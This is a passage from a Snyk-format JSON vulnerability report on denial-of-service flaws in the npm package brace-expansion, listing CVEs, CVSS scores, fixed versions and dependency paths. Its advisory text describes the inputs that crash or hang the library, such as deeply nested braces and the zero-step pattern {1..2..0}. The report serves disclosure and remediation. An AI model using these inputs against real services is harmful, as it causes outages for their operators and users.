insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
